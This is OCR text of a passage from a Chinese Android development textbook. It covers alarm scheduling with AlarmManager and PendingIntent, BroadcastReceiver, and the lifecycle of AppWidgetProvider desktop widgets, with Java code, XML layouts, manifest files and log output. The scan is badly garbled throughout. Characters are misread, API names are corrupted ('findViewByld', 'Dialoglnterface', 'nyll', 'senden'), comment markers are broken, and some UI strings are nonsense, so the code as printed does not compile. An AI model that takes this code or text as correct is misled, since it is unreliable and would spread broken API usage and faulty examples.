实际 上 笔者 在 研究 Android 开发 时 也 碰 到 过 此 类 问题 ， 分 不 清楚 BroadcastReceiver 和 
Service 之 间 的 区 别 ， 但 是 后 来 随 着 对 代码 的 不 断 深 入 研究 发 现 ，BroadcastReceiver 可 以 像 
Activity 程序 那样 通过 配置 运行 , 是 一 个 可 以 直接 运行 的 没有 界面 的 Activity 程序 。 一般 开 发 
都 是 通过 Activity 启 动 BroadcastReceive 或 Service, 或 者 是 利用 BroadcastReceive 启 动 Service， 
所 以 读者 可 以 这 样 判断 : 当 需 要 在 后 台 启 动 Service 而 又 不 想 显示 前 台 界 面 时 ， 就 使 用 
BroadcastReceive， 这 一 点 在 本 书 第 11 章 讲解 电话 服务 的 案例 中 有 所 体现 。 


9.8.3 闹钟 服务 


闻 钟 是 现代 都 市 人 群 不 可 缺少 的 一 件 重要 的 “唤醒 工具 ”， 在 Android 系统 中 ,为 了 实现 六 
钟 功能 ， 专 门 提 供 了 一 个 Context.ALARM SERVICE 闹钟 服务 ， 当 通过 getSystemService() 方 法 
取得 此 服务 时 ,将 返回 一 个 android.app.AlarmManager 类 的 实例 化 对 象 , 而 后 用 户 可 以 通过 表 9-39 
中 列 出 的 方法 进行 闹钟 的 操作 。 

表 9-39 AlarmManager 类 的 常用 方法 
No. 常量 及 方法 


描述 


到 设置 的 曾 钟 时 间 时 ， 自 动 唤醒 设备 


1 |public static final int RTC WAKEUP 

2_|public void cancel (PendingIntent operation) 取消 闹钟 
ublic void set(int type, long triggerAtTime, 

a Ey pe phe 设置 间 钟 


PendingIntent operation) 
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ublic void setRepeating(int type, long triggerAtTime, ey 
En a 普通 。 | 设置 闸 钟 重复 响起 
long interval, PendingIntent operation) 


5 |public void setTime(long millis) 设置 时 间 
通过 表 9-39 所 示 的 方法 可 以 发 现 ， 在 设置 (set0) 和 删除 (cancel0) 闸 钟 时 ， 都 需要 传递 
-个 PendingIntent 对 象 , 即 在 需要 时 才 会 执行 PendingIntent 所 包 训 的 Intent 对 象 ,而 通过 该 Intent 
可 以 跳 转 到 一 个 指定 的 闹钟 处 理 程序 上 ， 如 使 用 广播 处 理 。 下 面 通 过 代码 演示 闹钟 程序 的 开发 。 
【 例 9-100】 定义 闹钟 的 提示 Activity 程序 类 一 一 AlarmMessage 
package org.Ixh.demo; 
import java.text.SimpleDateFormat; 
import java.util.Date; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.content.Dialoglnterface; 
import android.os.Bundle; 
public class AlarmMessage extends Activity { 
@Override 
protected void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


new AlertDialog.Builder(this) // 建 立 对 话 框 
.setlcon(R.drawable.pic_m) // 设 置 图 标 
.setTitle(" 闲 钟 时 间 已 到 !") // 设 置 对 话 框 标题 
.setMessage( /定义 显示 文字 


" 亲 钟 响起 ， 现 在 时 间 : " 

+ new SimpleDateFormat("yyyy 年 MM 月 dd 日 HH 时 

mm 分 ss 秒 ") 
.format(new Date(System 
.currentTimeMillis()))) 
.SetPositiveButton(" 关 闭 ", new Dialoglnterface.OnClickListener() { 
public void onClick(Dialoglnterface dialog, int whichButton) { 

AlarmMessage.this .finish(); /关闭 对 话 框 后 程序 结束 


} 
)).show(); /显示 对 话 框 
} 


本 Activity 程序 作为 闹钟 服务 到 时 的 信息 显示 类 , 主要 功能 是 显示 一 个 对 话 框 ,并且 提示 
户 “ 设 置 的 闹钟 时 间 已 到 ”， 而 当 用 户 单 击 “ 关 闭 ” 按 钮 之 后 ， 本 Activity 将 直接 利用 finishO 
方法 结束 。 


下 


了 /提示 

本 程序 只 是 作为 提示 ， 并 不 能 播放 闹钟 音乐 。 

本 程序 只 是 作为 闹钟 时 间 已 到 的 信息 提示 ， 并 不 能 播放 六 钟 音乐 ， 如 果 要 想 在 闹钟 响起 
时 播放 唤醒 音乐 ， 则 需要 使 用 第 10 章 中 的 MediaPlayer 类 完成 功能 。 
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【 例 9-101】 定义 广播 接收 器 类 一 一 MyAlarmReceiver 
package org.Ixh.demo; 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content.Intent'; 
public class MyAlarmReceiver extends BroadcastReceiver { 
@Override 
public void onReceive(Context context, Intent intent) { 
Intent it = new Intent(context, AlarmMessage.class);// 定 义 要 操作 的 Intent 
it.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);”// 传 递 一 个 新 的 任务 标记 
context.startActivity(it); /启动 Intent 
} 
| 
广播 程序 主要 运行 在 后 台 ， 当 用 户 设置 闹钟 之 后 ， 疹 钟 的 处 理应 用 会 直接 将 它 提交 给 广播 
处 理 类 完成 ， 用 户 可 以 在 广播 接收 类 中 进行 更 多 的 操作 ， 而 通过 广播 跳 转 到 AlarmMessage 程序 
时 ， 需 要 传递 一 个 重要 的 标记 : FLAG _ ACTIVITY NEW_TASK， 如 果 没 有 此 标记 ， 则 即使 广播 
时 间 到 了 ， 也 不 会 执行 指定 的 Activity 程序 。 
【 例 9-102】 定义 布局 管理 器 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 布 局 管理 器 高 度 为 屏幕 高 度 
android:gravity="center_horizontal"> // 所 有 组 件 水 平 居中 对 齐 
<TimePicker // 时 间 选 择 器 

android:id="@+id/time” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 自身 高 度 
<TextView /文本 显示 组 件 
android:id="@+id/msg” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 当 万 冯 序 砍 夺 六 物 "|> /默认 显示 文字 
<Button /按钮 组 件 
android:id="@+id/set” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 帮 蕾 启 幼 ' /> /默认 显示 文字 
<Button /按钮 组 件 
android:id="@+id/delete” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:text=" 态 悦 / 交 先 " /> // 默 认 显 示 文字 
</LinearLayout> 


【 例 9-103】 定义 Activity， 操 作 闹 钟 〈 分 段 说 明 ) 
package org.Ixh.demo; 
import java.util.Calendar: 
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import android.app.Activity; 

import android.app.AlarmManager; 

import android.app.Pendinglntent: 

import android.content.Context; 

import android.content.Intent'; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

import android.widget. TextView; 

import android.widget. TimePicker; 

import android.widget. TimePicker.OnTimeChangedListener; 
import android.widget. Toast; 

public class MyAlarmManagerDemo extends Activity { 


private AlarmManager alarm = null; // 闹 钟 管理 

private Button set = null; /按钮 组 件 

private Button delete = null; /按钮 组 件 

private TextView msg = null; /文本 显示 组 件 
private Calendar calendar = Calendar.getinstance(); // 取 得 Calendar 对 象 
private TimePicker time = null; /时间 选 择 器 
private int hourOfDay = 0; /保存 设置 的 时 
private int minute = 0; /保存 设置 的 分 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this time = (TimePicker) super.findViewByld(R.id.time); // 取 得 时 间 选 择 器 
this.set = (Button) super.findViewByld(R.id.seb); // 取 得 按钮 组 件 
this.delete = (Button) super.findViewByld(R.id.delete); // 取 得 按钮 组 件 
this.msg = (TextView) super.findViewByld(R.id.msg); // 取 得 组 件 


this.set.setOnClickListener(new SetOnClickListenerImpl()); ”// 设 置 单 击 事件 
this.delete.setOnClickListener(new DeleteOnClickListenerlImpl()); // 设 置 单 击 事件 
this.alarm = (AlarmManager) super 
.getSystemService(Context.ALARM_SERVICE); 。”// 取 得 闲 钟 服务 
this.time.setOnTimeChangedListener( 
new OnTimeChangedListenerlmpl()); /设置 时 间 改 变 监听 
this.time.setls24HourView(true); /1/24 小 时 制 
} 
本 程序 在 onCreate() 方 法 中 ， 主 要 功能 是 取得 各 个 组 件 (Button、TextView、TimePicker) 
和 闹钟 服务 (AlarmManager) ， 之 后 将 时 间 的 显示 设置 为 24 小 时 制 (setIs24HourView(true)) ， 
并 且 设 置 了 相应 的 事件 监听 。 
private class OnTimeChangedListenerImpl implements OnTimeChangedListener { 
@Override 
public void onTimeChanged(TimePicker view, int hourOfDay, int minute) { 
MyAlarmManagerDemo.this.calendar.setTimelnMillis(System 


.currentTimeMillis()); /设置 当前 时 间 
MyAlarmManagerDemo.this.calendar.set(Calendar.HOUR_OF_DAY, 

hourOfDay); /设置 小 时 
MyAlarmManagerDemo.this.calendar. 

set(Calendar.MINUTE, minute); /设置 分 钟 
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MyAlarmManagerDemo.this.calendar. 


set(Calendar.SECOND, 0); 1/ 设置 秒 
MyAlarmManagerDemo.this.calendar. 

set(Calendar.MILLISECOND, 0); // 设 置 毫 秒 
MyAlarmManagerDemo.this.hourOfDay = hourOfDay; /保存 设置 的 小 时 
MyAlarmManagerDemo this.minute = minute; /保存 设置 的 分 钟 


} 
} 
本 类 主要 完成 时 间 操 作 的 监听 , 当时 间 改 变 之 后 可 以 及 时 地 将 所 设置 的 时 间 设 置 到 Calendar 

对 象 中 ， 而 后 通过 Calendar 对 象 来 设置 闹钟 的 响起 时 间 。 

private class SetOnClickListenerImpl implements OnClickListener { 

@Override 

public void onClick(View view) { 

Intent intent = new Intent(MyAlarmManagerDemo.this, 

MyAlarmReceiver.class); // 指 定 跳 转 的 Intent 
intent.setAction("org.Ixh.action.setalarm"); // 定 义 广播 的 Action 
Pendinglntent sender = PendinglIntent.getBroadcast( 

MyAlarmManagerDemo.this, 0, intent, 

Pendinglntent.FLAG_UPDATE_CURRENT); /指定 Pendinglntent 
MyAlarmManagerDemo.this.alarm.set(AlarmManager.RTC_WAKEUP, 

MyAlarmManagerDemo.this.calendar.getTimelnMillis()， 

sender); /设置 闹钟 
MyAlarmManagerDemo.this.msg.setText(" 闲 钟 响起 的 时 间 是 :" 

+ MyAlarmManagerDemo.this.hourOfDay + "时 " 

+ MyAlarmManagerDemo.this.minute + "分 。"); // 提 示 文 字 
Toast.makeText(MyAlarmManagerDemo.this, " 闲 钟 设置 成 功 !", 

Toast.LENGTH_SHORT).show(); // 显 示 提示 信息 

} 
| 
本 事件 处 理 类 为 设置 闹钟 的 操作 类 ， 本 程序 首先 使 用 PendingIntent 类 包 里 了 一 个 要 执行 六 
钟 响起 的 Intent 操作 ， 之 后 将 此 PendingIntent 对 象 设置 到 闸 钟 中 ， 设 置 成 功 后 会 为 用 户 进 行 操 
作成 功 的 信息 提示 。 
private class DeleteOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
if (MyAlarmManagerDemo.this.alarm != nyll) { 
Intent intent = new Intent(MyAlarmManagerDemo.this, 
MyAlarmReceiver.class); /设置 Intent 
Pendinglntent sender = PendingIntent.getBroadcast( 
MyAlarmManagerDemo.this, 0, intent, 
Pendinglntent.FLAG_UPDATE_CURRENT):// 指 定 Pendinglntent 

MyAlarmManagerDemo.this.alarm.cancel(senden); /取消 闹钟 

MyAlarmManagerDemo.this.msg.setText(" 当 前 没有 设置 闹钟 。");// 提 示 文 字 

Toast.makeText(MyAlarmManagerDemo.this, "闹钟 删除 成 功 ! "， 

Toast.LENGTH_SHORT).show(); // 显 示 提示 信息 
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疗 钟 设置 成 功 之 后 ， 也 可 以 删除 指定 的 六 钟 ， 同 样 需要 指定 一 个 PendingIntent 对 象 ， 当 
户 删 除 闹钟 之 后 ， 也 会 有 相应 的 提示 信息 。 
【 例 9-104】 在 AndroidManifest xml 文件 中 进行 配置 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http://schemas.android.com/apK/res/android”" 


package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" // 程 序 的 版 本 编号 
android:versionName="1.0"> // 程 序 的 版 本 名 称 
<uses-sdk android:minSdkVersion="10"/> // 程 序 运行 的 最 低 版 本 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" android:label="@string/app_name"> 
<activity /定义 Activity 程序 
android:name=".MyAlarmManagerDemo" android:label="@string/app_name"> 
<intent-filter> /默认 执行 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 

<activity android:name=".AlarmMessage" /> // 配 置 Activity 程序 类 

<receiver // 配 置 广播 器 
android:name="MyAlarmReceiver” /广播 器 操作 类 
android:enabled="true”" // 配 置 可 以 使 用 
android:process=":remote’> /| 单独 开辟 一 个 进程 处 理 程序 
<intent-filter> // 执 行 的 操作 过 滤 


<action android:name="org./xh.action. setalarm" /> 
</intent-filter> 
</receiver> 
</application> 
</manifest> 
程序 运行 后 ， 设 置 的 闹钟 已 到 时 的 显示 界面 如 图 9-57 所 示 。 


CEEZTTTER 


全 闲 钟 时 间 已 到 ! 


名 
闻名 起 ,现在 时 


间 : 2011 年 09 月 09 日 


阅 钟 设置 成 功 ! 


(a) 设置 闹钟 (Cb) 显示 闹钟 
图 9-57 ”闹钟 设置 
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9.9 桌面 显示 组 件 : AppWidget 


9.9.1 AppWidget 的 基本 概念 


在 使 用 Android 手机 时 , 用 户 经 常会 将 一 些 常 使 用 的 软件 拖 放 到 桌面 上 以 方便 操作 , 如 图 9-58 
所 示 。 


选择 窗口 小 部 件 


[| APIDemos 


@ tis 


@ mu 
人 QQ 投案 
加 if 
@ sf 


(a) 选择 程序 部 件 (b) 在 桌面 上 显示 
图 9-58 操作 小 程序 
以 图 9-58 中 所 示 的 时 钟 为 例 ， 肯 定 会 有 一 个 支持 该 时 钟 的 程序 在 运行 ， 但 是 这 个 程序 并 不 
是 以 一 个 独立 的 进程 方式 执行 的 ， 而 是 通过 一 些 快捷 方式 的 形式 出 现 ， 而 如 果 用 户 的 程序 也 希 
望 达到 这 样 的 效果 ， 就 必须 使 用 AppWidget 组 件 。 
了 提示 
所 有 的 Android 组 件 都 是 Widget。 
通过 之 前 的 学 习 可 以 发 现 ,在 Android 中 大 部 分 的 UI 组 件 都 保存 在 android.widget 包 中 ， 
都 可 以 称 为 Widget ( AppWidget) ， 而 本 节 之 所 以 将 此 组 件 称 为 AppWidget， 主 要 是 因为 这 
些 组 件 所 在 的 包 为 android.appwidget。 


在 android.appwidget 包 中 定义 了 5 个 核心 的 操作 类 ， 其 作用 如 表 9-40 所 示 。 
表 9-40 android.appwidget 包 中 定义 的 类 
类 名 称 描 ” 述 
AppWidgetProvider 定义 了 AppWidget 的 基本 操作 ， 需 要 通过 子 类 进行 设置 
AppWidgetProviderInfo ”| AppWidget 组 件 的 元 数据 提供 者 ， 如 组 件 的 大 小 、 更 新 时 间 等 
创建 AppWidget 的 View 显示 ， 此 为 真正 的 View， 与 之 对 应 的 还 有 


RemoteView 


AppWidgetHostView 


460 


第 9 章 Android 组 件 通信 


描述 
监听 AppWidget 的 服务 以 及 创建 AppWidgetHostView 
于 更 新 相应 的 AppWidget 
由 于 AppWidget 要 在 桌面 上 显示 界面 ,而 这 个 界面 又 要 通过 AppWidgetManager 程序 进行 控 
制 ， 所 以 还 需要 使 用 一 个 android.widgetRemoteViews 类 ， 此 类 的 主要 功能 是 描述 一 个 View 的 
显示 实体 ，RemoteViews 会 通过 进程 间 通 信 机 制 传递 给 AppWidgetHost， 如 图 9-59 所 示 。 


AppWidgetHostView 


\ 
\ 


\ 
\ 


AppWidgetProvider 


se i es eh ss se ss ws es 
1 


进程 B 


进程 A 
图 9-59 RemoteViews 和 AppWidgetHost 的 关系 


从 图 9-59 中 可 以 发 现 ， 这 里 的 RemoteViews 只 是 把 一 个 进程 的 控件 嵌入 到 另外 一 个 进程 中 
显示 的 一 种 方法 ， 所 有 的 事件 处 理 操作 依然 在 原始 进程 中 ,而 AppWidget 需要 依靠 RemoteView 
来 完成 显示 内 容 的 更 新 操作 ，RemoteViews 类 的 常用 方法 如 表 9-41 所 示 。 


表 9-41 RemoteViews 类 的 常用 方法 


No. 方 ” 法 描 述 
public RemoteViews(String packageName, int 创建 新 的 RemoteViews 组 件 ， 并 指 
layoutId) 定 所 需要 的 布局 管理 器 文件 
public void addView(int ViewId, RemoteViews 为 RemoteViews 增加 一 个 组 件 


nestedView) 


设置 指定 的 内 容 ， 如 setBoolean(、 
setImageViewResource()、 
setTextViewTextO 等 

设置 单 击 事件 触发 之 后 要 操作 的 
PendingIntent 对 象 


public void setXxx(int viewId, String methodName, 
Xxx value) 


public void setOnClickPendingIntent(int viewId. 
PendingIntent pendingIntent) 
public void setProgressBar(int ViewId, int max, int 


设置 要 操作 的 ProgressBar 组 件 


progress, boolean indeterminate) 


除了 RemoteViews 类 作为 远程 View 之 外 ，Activity 程序 中 也 提供 了 对 应 的 AppWidgetProvider 
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类 用 于 与 RemoteView 组 件 的 操作 相对 应 ，AppWidgetProvider 类 的 继承 结构 如 下 : 
java.lang.Object 


b android.content.BroadcastReceiver 


b android.appwidget.AppWidgetProvider 

通过 继承 结构 可 以 发 现 ，AppWidgetProvider 是 BroadcastReceiver 的 子 类 ， 所 以 在 使 用 
AppWidgetProvider 时 ， 也 需要 在 AndroidManifest.xml 文件 中 配置 <receive> 节 点 完成 。 
AppWidgetProvider 类 中 也 提供 了 像 Activity 类 中 的 生命 周期 控制 方法 , 这 些 方法 如 表 9-42 所 示 。 

表 9-42 AppWidgetProvider 类 提供 的 方法 
No. 3 

public void onDeleted(Context context, int[] 
appWidgetIds) 
2 public void onDisabled(Context context 
3 public void onEnabled(Context context 


描述 
删除 AppWidget 时 触发 


public void onReceive(Context context, 
Intent intent 

public void onUpdate(Context context, 

5 | AppWidgetManager appWidgetManager, int[] 
appWidgetIds 


当 指 定 的 更 新 时 间 到 达 或 者 用 户 添 
加 AppWidget 时 触发 


在 AppWidgetProvider 类 中 也 存在 着 一 个 onReceive0 方 法 ， 此 方法 的 功能 与 Broadcast 类 中 的 
onReceive0 功 能 一 致 ， 都 表示 接收 广播 操作 ， 所 以 AppWidgetProvider 类 实际 上 也 是 一 个 Broadcast 
组 件 ， 但 是 唯一 不 同 的 是 ，Broadcast 的 子 类 只 需要 攻 写 onReceive() 方 法 ， 而 AppWidgetProvider 
的 子 类 要 履 写 更 多 的 方法 。 

在 AppWidgetProvider 类 中 最 重要 的 方法 是 onUpdate0， 此 方法 的 主要 功能 是 决定 AppWidget 
组 件 的 显示 功能 以 及 远程 AppWidget 的 事件 处 理 绑 定 , 当 组 件 更 新 时 , 需要 使 用 AppWidgetManager 
类 更 新 远程 AppWidget 组 件 〈 严 格 来 讲 是 更 新 RemoteViews) ， 而 AppWidgetManager 会 广播 
Action 名 称 是 android.appwidgetaction.APPWIDGET _ UPDATE 的 Intent。 

到 提示 
关于 onDisabled0 和 onEnabled(0 方 法 的 说 明 。 
使 用 过 Android 手机 的 用 户 都 知道 ， 一 个 程序 可 以 同时 在 桌面 上 设置 多 个 显示 的 组 件 
(AppWidget ), 所 以 当 设置 第 一 个 AppWidget 时 会 执行 onEnabled0, 但 若 重复 设置 AppWidget， 
则 不 会 重复 调用 onEnabled() 方 法 。 反 之 ， 如 果 现 在 只 从 多 个 AppWidget 中 删除 一 个 ， 也 不 会 
调用 onDisabled() 方 法 ， 只 有 当 最 后 一 个 AppWidget 被 删除 之 后 才 会 调用 该 方法 。 


下 面 通过 一 个 具体 程序 ， 观 察 表 9-42 中 各 个 方法 的 调用 。 本 次 操作 为 了 简便 ， 只 是 在 方法 
中 加 了 系统 输出 语句 。 
【 例 9-105】 定义 AppWidgetProvider 程序 一 MyAppWidget.java 
package org.Ixh.demo; 
import android.appwidget.AppWidgetManager; 
import android.appwidget.AppWidgetProvider 
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import android.content.Context; 

import android.content.Intent; 

public class MyAppWidget extends AppWidgetProvider { /继承 AppWidgetProvider 

@Override 

public void onDeleted(Context context, int] appWidgetlds) {”// 删 除 时 触发 
System.out.printin(™*** MyAppWidget onDeleted()"); 
super.onDeleted(context, appWidgetlds); 

b 

@Override 

public void onDisabled(Context context) { /删除 时 触发 
System.out.printIn(™*** MyAppWidget onDisabled()"); 
super.onDisabled(context); 

lL 

@Override 

public void onEnabled(Context context) { // 启 动 时 触发 
System.out.printIn(™*** MyAppWidget onEnabled()"); 
super.onEnabled(context); 

1 

@Override 

public void onReceive(Context context, Intent intent) { // 处 理 广播 
System.out.printiIn(™*** MyAppWidget onReceive()"); 
super.onReceive(context, intent); 

} 

@Override 

public void onUpdate(Context context, 
AppWidgetManager appWidgetManager, int[l appWidgetlds) { // 更 新 时 触发 
System.out.printiIn(™*** MyAppWidget onUpdate()"); 
super.onUpdate(context, appWidgetManager, appWidgetlds); 

} 

} 

本 程序 并 没有 做 太 多 的 工作 , 只 是 将 AppWidgetProvider 类 中 的 几 个 与 生命 周期 有 关 的 方法 
进行 了 窗 写 ， 并 简单 地 执行 了 系统 输出 的 操作 ， 但 是 要 想 让 一 个 AppWidget 程序 进行 显示 ， 还 
需要 定义 一 个 设置 桌面 显示 的 配置 文件 ， 该 配置 文件 保存 在 res\xml 文件 夹 中 。 

【 例 9-106】 定义 桌面 显示 的 AppWidget 配置 文件 一 一 res\xmlmldn appwidgetxml 
<?xml version="1.0" encoding="utf-8"?> 


<appwidget-provider // 定 义 桌 面 显示 配置 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:minHeight="80px” // 桌 面 显示 高 度 
android:minWidth="300px” // 桌 面 显示 宽度 
android:updatePeriodMillis="6000" // 更 新 的 了 时间， 每 隔 6 秒 更 新 
android:initialLayout="@/ayouy/mldn_appwidget"> // 组 件 所 需要 的 配置 文件 


</appwidget-provider> 
在 此 文件 中 只 是 配置 了 一 些 AppWidget 所 需要 的 基本 参数 ， 但 是 在 该 配置 中 需要 指定 一 个 
显示 组 件 的 布局 管理 器 ， 其 配置 如 下 。 
【 例 9-107】 定义 AppWidget 的 布局 管理 器 文件 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 管理 器 


Tes\layoutmldn appwidget.xml 
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xmlns:android="http:/schemas.android.com/apK/res/android" 


android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView /定义 图 片 显示 组 件 
android:src="@drawable/mldn_3g" // 显 示 的 图 片 ID 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content”" /> // 组 件 高 度 为 图 片 高 度 
<Button // 定 义 按钮 组 件 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= " 龙 刘 尾 乐 科大 康 华 党 院 (MLDN)" // 默 认 显示 文字 
android:layout_gravity="center_horizontal” /> // 水 平 居 中 排列 
</LinearLayout> 
此 文件 的 主要 功能 是 完成 桌面 显示 ， 在 本 程序 中 ， 只 是 设置 了 一 个 图 片 显示 组 件 和 一 个 按 


钮 组 件 ， 在 天 面 上 的 显示 效果 是 - - 张 图 片 和 一 个 按钮 。 


了 提示 

其 他 操作 代码 省 略 。 

由 于 本 程序 只 是 观察 AppWidget 组 件 的 使 用 ， 所 以 本 项 目 中 的 其 他 程序 ， 如 Activity、 
main.xml 等 文件 并 未 列 出 ， 读 者 可 以 参考 光盘 中 相应 的 项 目 或 视频 文件 。 


在 AppWidgetProvider 类 中 存在 一 个 onReceive() 方 法 ， 这 与 Broadcast 类 似 ， 也 需要 进行 广 
播 的 接收 操作 ， 所 以 要 在 AndroidManifestxml 文件 中 对 此 组 件 进 行 注 册 。 
【 例 9-108】 修改 AndroidManifestxml 文件 ， 增 加 注册 的 AppWidget 组 件 
<?xml version= "1.0" encoding="utf-8"?> 
<manifest xmIns:android="http:/schemas.android.com/apk/res/android" 


package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" // 版 本 号 
android:versionName="1.0"> // 版 本 名 称 
<uses-sdk android:minSdkVersion="10"/> // 程 序 运 行 的 最 低 版 本 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" android:label="@string/app_name"> 
<activity // 定 义 Activity 程序 
android:name=" MyAppWidgetDemo" android:label="@string/app_name"> 
<intent-filter> // 配 置 默 认 运 行 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 
<receiver android:name=".MyAppWidget"> // 定 义 广播 处 理 程序 
<intent-filter> /WAppWidget 更 新 时 触发 


<action android:name="android.appwidget.action.APPWIDGET_UPDATE" /> 
</intent-filter> 
<meta-data // 定 义 AppWidget 的 元 数据 
android:name="android.appwidget.provider” /WAppWidget 提供 者 
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在 手机 启动 前 就 已 经 增加 到 了 桌面 上 ， 则 启 
观察 。 


android:resource="@xml/mldn_appwidget" /> // 程 序 要 使 用 到 的 配置 信息 


</receiver> 
</application> 
</manifest> 


当 一 切 配置 完成 之 后 运行 程序 ， 程 序 运 行 后 返回 到 桌面 上 ， 长 按 桌 面 后 选择 “ 窗 
将 出 现 如 图 9-60 所 示 的 界面 ， 添 加 完 程序 之 后 将 出 现 如 图 9-61 所 示 的 界面 。 


a 
情 | APlDemos 魔 乐 科技 


_ 则 AppWidget 组 件 


@ san 
@ Ru 
Q 扫 过 
回 


二 次 


小 部 件 ” 


图 9-60 添加 部 件 图 9-61 添加 之 后 的 桌面 
以 上 操作 中 的 每 一 个 步骤 都 会 触发 后 台 的 生命 周期 控制 方法 操作 ， 下 面 按照 操作 步骤 观察 
后 台 的 输出 操作 。 
(1) 在 桌面 上 增加 第 一 个 AppWidget 组 件 ， 后 台 输 出 信息 如 下 : 


09-09 05:23:10.076: INFO/System.out(396): *** MyAppWidget onReceive() 

09-09 05:23:10.076: INFO/System.out(396): *** MyAppWidget onEnabled() 

09-09 05:23:10.096: INFO/System.out(396): *** MyAppWidget onReceive() 

09-09 05:23:10.146: INFO/System.out(396): *** MyAppWidget onUpdate() 
(2) 重复 添加 一 个 AppWidget 组 件 ， 后 台 输 出 信息 如 下 : 

09-09 05:47:05.097: INFO/System.out(396): *** MyAppWidget onReceive() 

09-09 05:47:05.127: INFO/System.out(396): *** MyAppWidget onUpdate() 
(3) 删除 一 个 AppWidget 组 件 ， 后 台 输 出 信息 如 下 : 

09-09 05:47:21.756: INFO/System.out(396): *** MyAppWidget onReceive() 

09-09 05:47:21.776: we *** MyAppWidget onDeleted() 
(4) 删除 所 有 的 AppWidget 组 件 ， 后 台 输 出 信息 如 下 : 

09-09 05:47:33.407: oN tn *** MyAppWidget onReceive() 

09-09 05:47:33.407: INFO/System.out(396): *** MyAppWidget onDeleted() 

09-09 05:47:33.436: INFO/System.out(396): *** MyAppWidget onReceive() 

09-09 05:47:33.446: INFO/System.out(396): *** MyAppWidget onDisabled() 


通过 程序 的 运行 效果 可 以 发 现 ， 所 有 的 AppWidget 组 件 进行 操作 时 都 会 触发 onReceive0 方 


法 ,而 当 用 户 添加 组 件 时 都 会 触发 onUpdate() 方 法 。 以 上 只 是 演示 了 一 些 基本 的 操作 ， 如 果 组 件 
启动 时 也 会 执行 相应 的 操作 ， 这 些 功 能 读者 可 以 自行 
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9.9.2 ”使 用 AppWidget 跳 转 到 Activity 进行 操作 


9.9.1 节 中 的 程序 只 是 演示 了 一 个 基本 的 AppWidget 程序 的 配置 ， 但 是 在 很 多 情况 下 ， 单 击 
桌面 上 显示 的 AppWidget 可 以 进入 一 个 Activity 程序 进行 更 加 复杂 的 操作 处 理 ， 而 此 时 ， 就 需 
要 在 显示 的 AppWidget 上 加 入 一 些 事 件 的 操作 , 以 保证 程序 单 击 之 后 可 以 跳 转 到 指定 的 Activity 
进行 处 理 ， 这 需要 使 用 PendingIntent 和 RemoteViews 类 来 完成 。 

由 于 现在 桌面 上 的 AppWidget 属于 远程 视图 ， 所 以 不 能 像 之 前 那样 直接 通过 控件 绑 定 事件 
操作 ， 那 么 要 想 绑 定 事件 处 理 程序 ， 可 以 使 用 RemoteViews 类 完成 ， 而 一 个 AppWidget 操作 触 
发 后 要 跳 转 的 Intent 则 要 由 PendingIntent 指定 ， 这 一 关系 如 图 9-62 所 示 。 


SO 

提问 : 为 什么 使 用 PendingIntent 而 不 是 Intent 指定 跳 转 的 Activity? 

在 图 9-62 中 发 现 ， 一 个 AppWidget 程序 中 的 操作 事件 是 通过 AppWidgetProvider 组 
件 设置 的 ， 但 是 为 什么 在 设置 跳 转 时 使 用 PendingIntent 而 不 是 Intent 来 直接 指定 要 跳 转 的 
Activity 呢 ? 

回答 : 在 AppWidgetProvider 组 件 里 不 跳 转 ,只 是 指定 桌面 AppWidget 要 跳 转 的 配置 ， 
而 桌面 的 AppWidget 事件 触发 之 后 才 执 行 实际 的 跳 转 。 

一 定 要 记 住 的 是 ， 桌 面 显示 的 AppWidget 和 AppWidgetProvider 是 两 个 不 同 的 进程 ， 在 
AppWidgetProvider 组 件 中 并 不 是 立刻 进行 跳 转 ， 而 是 将 跳 转 的 Activity 包装 在 一 个 
PendingIntent 中 ,之 所 以 这 样 ， 主 要 是 因为 在 使 用 桌面 AppWidget 操作 按钮 时 才 会 触发 该 跳 
转 操作 ， 此 时 才 表 示 要 真正 地 执行 跳 转 ， 而 如 果 在 AppWidgetProvider 中 直接 利用 Intent 指 
